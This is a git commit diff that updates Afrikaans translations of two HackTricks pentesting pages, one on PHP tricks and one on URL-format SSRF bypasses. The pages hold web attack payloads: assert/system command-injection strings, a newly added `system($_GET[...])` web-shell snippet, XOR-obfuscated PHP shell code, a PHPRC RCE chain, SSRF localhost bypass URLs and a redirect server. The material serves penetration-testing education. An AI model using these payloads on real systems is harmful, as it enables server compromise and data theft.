mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R
This commit is contained in:
parent
eb663e5711
commit
06c853e287
3 changed files with 42 additions and 32 deletions
BIN
.gitbook/assets/View.nib
generated
Normal file
BIN
.gitbook/assets/View.nib
generated
Normal file
Binary file not shown.
|
@ -1,8 +1,8 @@
|
|||
# PHP Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -28,7 +28,7 @@ Koekies:
|
|||
PHPSESSID
|
||||
phpMyAdmin
|
||||
```
|
||||
Liggings:
|
||||
Ligginge:
|
||||
```
|
||||
/var/lib/php/sessions
|
||||
/var/lib/php5/
|
||||
|
@ -39,7 +39,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
|
||||
### Los vergelykings/Tipe Juggling ( == )
|
||||
|
||||
As `==` in PHP gebruik word, is daar onverwagte gevalle waar die vergelyking nie soos verwag werk nie. Dit is omdat "==" slegs waardes vergelyk wat na dieselfde tipe omgeskakel is; as jy ook wil vergelyk dat die tipe van die vergelykte data dieselfde is, moet jy `===` gebruik.
|
||||
As `==` in PHP gebruik word, is daar onverwagte gevalle waar die vergelyking nie soos verwag optree nie. Dit is omdat "==" slegs waardes vergelyk wat na dieselfde tipe omgeskakel is; as jy ook wil vergelyk dat die tipe van die vergelykte data dieselfde is, moet jy `===` gebruik.
|
||||
|
||||
PHP vergelykingstabelle: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
|
@ -51,7 +51,7 @@ PHP vergelykingstabelle: [https://www.php.net/manual/en/types.comparisons.php](h
|
|||
* `"0xAAAA" == "43690" -> True` Strings wat uit nommers in desimale of hex formaat bestaan, kan met ander nommers/strings vergelyk word met True as resultaat as die nommers dieselfde was (nommers in 'n string word as nommers geïnterpreteer)
|
||||
* `"0e3264578" == 0 --> True` 'n String wat met "0e" begin en gevolg word deur enigiets, sal gelyk wees aan 0
|
||||
* `"0X3264578" == 0X --> True` 'n String wat met "0" begin en gevolg word deur enige letter (X kan enige letter wees) en gevolg word deur enigiets, sal gelyk wees aan 0
|
||||
* `"0e12334" == "0" --> True` Dit is baie interessant omdat jy in sommige gevalle die stringinvoer van "0" en 'n inhoud wat gehas is en daarmee vergelyk word, kan beheer. Daarom, as jy 'n waarde kan verskaf wat 'n hash kan skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking omseil. Jy kan **reeds gehasde strings** met hierdie formaat hier vind: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"0e12334" == "0" --> True` Dit is baie interessant omdat jy in sommige gevalle die stringinvoer van "0" en 'n inhoud wat gehasht word en daarmee vergelyk word, kan beheer. Daarom, as jy 'n waarde kan verskaf wat 'n hash kan skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking omseil. Jy kan **reeds gehasht strings** met hierdie formaat hier vind: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` Enige letter in 'n string is gelyk aan int 0
|
||||
|
||||
Meer inligting in [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
@ -79,7 +79,7 @@ Die dieselfde fout gebeur met `strcasecmp()`
|
|||
|
||||
### Strikte tipe Juggling
|
||||
|
||||
Selfs al word `===` **gebruik**, kan daar foute wees wat die **vergelyking kwesbaar** maak vir **tipe juggling**. Byvoorbeeld, as die vergelyking **die data na 'n ander tipe objek omskakel voordat dit vergelyk**:
|
||||
Selfs al word `===` **gebruik** kan daar foute wees wat die **vergelyking kwesbaar** maak vir **tipe juggling**. Byvoorbeeld, as die vergelyking **die data na 'n ander tipe objek omskakel voordat dit vergelyk**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
|
@ -89,7 +89,7 @@ Selfs al word `===` **gebruik**, kan daar foute wees wat die **vergelyking kwesb
|
|||
|
||||
#### Nuwe lyn omseiling
|
||||
|
||||
E however, wanneer die begin van die regexp `preg_match()` **slegs die eerste lyn van die gebruikersinvoer** **kontroleer**, dan as jy op een of ander manier die invoer in **verskeie lyne** kan **stuur**, kan jy dalk hierdie kontrole omseil. Voorbeeld:
|
||||
E however, wanneer die begin van die regexp `preg_match()` **slegs die eerste lyn van die gebruikersinvoer kontroleer**, dan as jy op een of ander manier die invoer in **verskeie lyne** kan **stuur**, kan jy in staat wees om hierdie kontrole te omseil. Voorbeeld:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
@ -112,8 +112,8 @@ Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ram
|
|||
|
||||
#### **Lengte fout omseiling**
|
||||
|
||||
(Die omseiling is blykbaar op PHP 5.2.5 probeer en ek kon dit nie laat werk op PHP 7.3.15)\
|
||||
As jy `preg_match()` 'n geldige baie **groot invoer** kan stuur, **sal dit nie in staat wees om dit te verwerk** nie en jy sal in staat wees om die **kontrole te omseil**. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur:
|
||||
(Die omseiling is blykbaar op PHP 5.2.5 probeer en ek kon dit nie op PHP 7.3.15 laat werk nie)\
|
||||
As jy `preg_match()` 'n geldige baie **groot invoer** kan stuur, **sal dit nie in staat wees om dit te verwerk nie** en jy sal in staat wees om die **omseiling** van die kontrole te doen. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
|
@ -187,7 +187,7 @@ True
|
|||
```
|
||||
### HTTP headers omseil deur PHP foute te misbruik
|
||||
|
||||
#### Fout veroorsaak na die instel van headers
|
||||
#### Fout veroorsaak na instel van headers
|
||||
|
||||
Van [**hierdie twitter draad**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) kan jy sien dat wanneer meer as 1000 GET params of 1000 POST params of 20 lêers gestuur word, PHP nie headers in die antwoord gaan instel nie.
|
||||
|
||||
|
@ -200,11 +200,11 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
|||
#### Vul 'n liggaam in voordat jy koptekste stel
|
||||
|
||||
As 'n **PHP-bladsy foute druk en sommige invoer wat deur die gebruiker verskaf is, teruggee**, kan die gebruiker die PHP-bediener dwing om 'n **inhoud lank genoeg** te druk sodat wanneer dit probeer om die **koptekste** in die antwoord by te voeg, die bediener 'n fout sal gooi.\
|
||||
In die volgende scenario het die **aanvaller die bediener gedwing om groot foute te gooi**, en soos jy in die skerm kan sien, toe php probeer het om die **kopinligting te wysig, kon dit nie** (soos byvoorbeeld is die CSP-kop nie aan die gebruiker gestuur nie):
|
||||
In die volgende scenario het die **aanvaller die bediener gedwing om groot foute te gooi**, en soos jy in die skerm kan sien, toe php probeer het om die **koptekst-inligting te wysig, kon dit nie** (soos byvoorbeeld is die CSP-kop nie aan die gebruiker gestuur nie):
|
||||
|
||||
![](<../../../.gitbook/assets/image (1085).png>)
|
||||
|
||||
## SSRF in PHP funksies
|
||||
## SSRF in PHP-funksies
|
||||
|
||||
Kyk na die bladsy:
|
||||
|
||||
|
@ -218,7 +218,7 @@ Kyk na die bladsy:
|
|||
**\`ls\`;**\
|
||||
**shell\_exec("ls");**
|
||||
|
||||
[Kyk hierna vir meer nuttige PHP funksies](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
[Kontroleer dit vir meer nuttige PHP-funksies](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
|
||||
### **RCE via** **preg\_replace()**
|
||||
```php
|
||||
|
@ -238,12 +238,12 @@ Hierdie opsie van preg\_replace is **verouderd sedert PHP 5.5.0.**
|
|||
```
|
||||
### **RCE via Assert()**
|
||||
|
||||
Hierdie funksie binne php laat jou toe om **kode wat in 'n string geskryf is** te **uitvoer om waar of vals te terug te keer** (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruikersvariabele in die middel van 'n string ingevoeg word. Byvoorbeeld:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> In hierdie geval om **RCE** te kry kan jy doen:
|
||||
Hierdie funksie binne php laat jou toe om **kode wat in 'n string geskryf is uit te voer** ten einde **waar of vals te retourneer** (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruikersvariabele in die middel van 'n string ingevoeg word. Byvoorbeeld:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> In hierdie geval om **RCE** te verkry kan jy doen:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
U sal die **kode** **sintaksis** **moet breek**, u **payload** **byvoeg**, en dan **weer regmaak**. U kan **logiese operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie, want as die eerste voorwaarde waar is, sal ons payload nie uitgevoer word nie. Dieselfde geld voor ";" wat nie werk nie, aangesien ons payload nie uitgevoer sal word nie.
|
||||
U sal die **kode** **syntaksis** **moet breek**, u **payload** **byvoeg**, en dit dan **weer regmaak**. U kan **logiese operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie, want as die eerste voorwaarde waar is, sal ons payload nie uitgevoer word nie. Dieselfde geld ";" wat nie werk nie, aangesien ons payload nie uitgevoer sal word nie.
|
||||
|
||||
**Ander opsie** is om die uitvoering van die opdrag aan die string toe te voeg: `'.highlight_file('.passwd').'`
|
||||
|
||||
|
@ -293,7 +293,7 @@ If you find a vulnerability that allows you to **modify env variables in PHP** (
|
|||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hierdie omgewingsvariabele laat jou toe om arbitrêre biblioteke te laai wanneer jy ander binaire uitvoer (alhoewel dit in hierdie geval dalk nie sal werk nie).
|
||||
* **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasie lêer te vind**, gewoonlik genoem `php.ini`. As jy jou eie konfigurasie lêer kan oplaai, gebruik dan `PHPRC` om PHP daarop te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP kode, wat dan uitgevoer word** deur die PHP runtime voordat enige ander kode.
|
||||
1. Laai 'n PHP-lêer op wat ons shellcode bevat
|
||||
2. Laai 'n tweede lêer op, wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP preprocessor instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer
|
||||
2. Laai 'n tweede lêer op, wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP voorverwerker instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer
|
||||
3. Stel die `PHPRC` variabele in op die lêer wat ons in stap 2 opgelaai het.
|
||||
* Kry meer inligting oor hoe om hierdie ketting uit te voer [**uit die oorspronklike verslag**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
* **PHPRC** - 'n ander opsie
|
||||
|
@ -323,6 +323,13 @@ Connection: keep-alive
|
|||
phpinfo();
|
||||
?>
|
||||
|
||||
```
|
||||
## PHP Sanitization omseiling & Brain Fuck
|
||||
|
||||
[**In hierdie pos**](https://blog.redteam-pentesting.de/2024/moodle-rce/) is dit moontlik om wonderlike idees te vind om 'n brain fuck PHP-kode te genereer met baie min karakters wat toegelaat word.\
|
||||
Boonop word daar ook 'n interessante manier voorgestel om funksies uit te voer wat hulle in staat gestel het om verskeie kontroles te omseil:
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
```
|
||||
## PHP Statiese analise
|
||||
|
||||
|
@ -332,7 +339,7 @@ exec, shell_exec, system, passthru, eval, popen
|
|||
unserialize, include, file_put_cotents
|
||||
$_COOKIE | if #This mea
|
||||
```
|
||||
As jy 'n PHP-toepassing debugeer, kan jy globaal foutdrukking aktief maak in `/etc/php5/apache2/php.ini` deur `display_errors = On` toe te voeg en apache te herbegin: `sudo systemctl restart apache2`
|
||||
As jy 'n PHP-toepassing debugeer, kan jy globaal foutdrukking aktief maak in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en apache te herbegin: `sudo systemctl restart apache2`
|
||||
|
||||
### Deobfuscating PHP code
|
||||
|
||||
|
@ -381,9 +388,9 @@ $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3
|
|||
$___=$__; #Could be not needed inside eval
|
||||
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### XOR maklik shell kode
|
||||
### XOR maklik shell code
|
||||
|
||||
Volgens [**hierdie skrywe** ](https://mgp25.com/ctf/Web-challenge/) is dit moontlik om 'n maklike shellkode op hierdie manier te genereer:
|
||||
Volgens [**hierdie skrywe** ](https://mgp25.com/ctf/Web-challenge/) is dit moontlik om 'n maklike shellcode op hierdie manier te genereer:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
@ -462,8 +469,8 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# URL Formaat Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Lokale gasheer
|
||||
### Localhost
|
||||
```bash
|
||||
# Localhost
|
||||
http://127.0.0.1:80
|
||||
|
@ -164,10 +164,14 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||
|
||||
Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) kan variasies genereer vanaf 'n gegewe invoer om te probeer om die gebruikte regex te omseil. Kyk na [**hierdie pos**](https://0xacb.com/2022/11/21/recollapse/) ook vir meer inligting.
|
||||
|
||||
### Bypass via redirect
|
||||
### Outomatiese Aangepaste Woordlyste
|
||||
|
||||
Dit mag moontlik wees dat die bediener **die oorspronklike versoek filter** van 'n SSRF **maar nie** 'n moontlike **redirect** antwoord op daardie versoek nie.\
|
||||
Byvoorbeeld, 'n bediener wat kwesbaar is vir SSRF via: `url=https://www.google.com/` mag die **url param** filter. Maar as jy 'n [python bediener gebruik om met 'n 302 te antwoord](https://pastebin.com/raw/ywAUhFrv) na die plek waar jy wil omlei, mag jy in staat wees om **gefilterde IP adresse** soos 127.0.0.1 of selfs gefilterde **protokolle** soos gopher te **benader**.\
|
||||
Kyk na die [**URL validasie omseil spiekbrief** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) van portswigger waar jy die toegelate gasheer en die aanvallers een kan invoer en dit sal 'n lys van URL's genereer om te probeer. Dit oorweeg ook of jy die URL in 'n parameter, in 'n Host-header of in 'n CORS-header kan gebruik.
|
||||
|
||||
### Omseil via omleiding
|
||||
|
||||
Dit mag moontlik wees dat die bediener die **oorspronklike versoek** van 'n SSRF **filter**, maar nie 'n moontlike **omleidings** antwoord op daardie versoek nie.\
|
||||
Byvoorbeeld, 'n bediener wat kwesbaar is vir SSRF via: `url=https://www.google.com/` mag die **url param** **filter**. Maar as jy 'n [python bediener gebruik om met 'n 302 te antwoord](https://pastebin.com/raw/ywAUhFrv) na die plek waar jy wil omlei, mag jy in staat wees om **gefilterde IP-adresse** soos 127.0.0.1 of selfs gefilterde **protokolle** soos gopher te **benader**.\
|
||||
[Kyk na hierdie verslag.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -193,7 +197,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||
|
||||
### Blackslash-trick
|
||||
|
||||
Die _backslash-trick_ benut 'n verskil tussen die [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) en [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Terwyl RFC3986 'n algemene raamwerk vir URI's is, is WHATWG spesifiek vir web-URL's en word dit deur moderne blaaiers aangeneem. Die sleutelonderskeid lê in die WHATWG-standaard se erkenning van die backslash (`\`) as gelyk aan die voorwaartse skuif (`/`), wat die manier waarop URL's geparseer word, beïnvloed, spesifiek die oorgang van die hostname na die pad in 'n URL.
|
||||
Die _backslash-trick_ benut 'n verskil tussen die [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) en [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Terwyl RFC3986 'n algemene raamwerk vir URI's is, is WHATWG spesifiek vir web-URL's en word dit deur moderne blaaiers aangeneem. Die sleutelonderskeid lê in die WHATWG-standaard se erkenning van die backslash (`\`) as gelyk aan die voorwaartse skuinsstreep (`/`), wat die manier beïnvloed waarop URL's geparseer word, spesifiek die oorgang van die hostname na die pad in 'n URL merk.
|
||||
|
||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
|
||||
|
@ -208,10 +212,9 @@ beeld van [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-c
|
|||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
Loading…
Reference in a new issue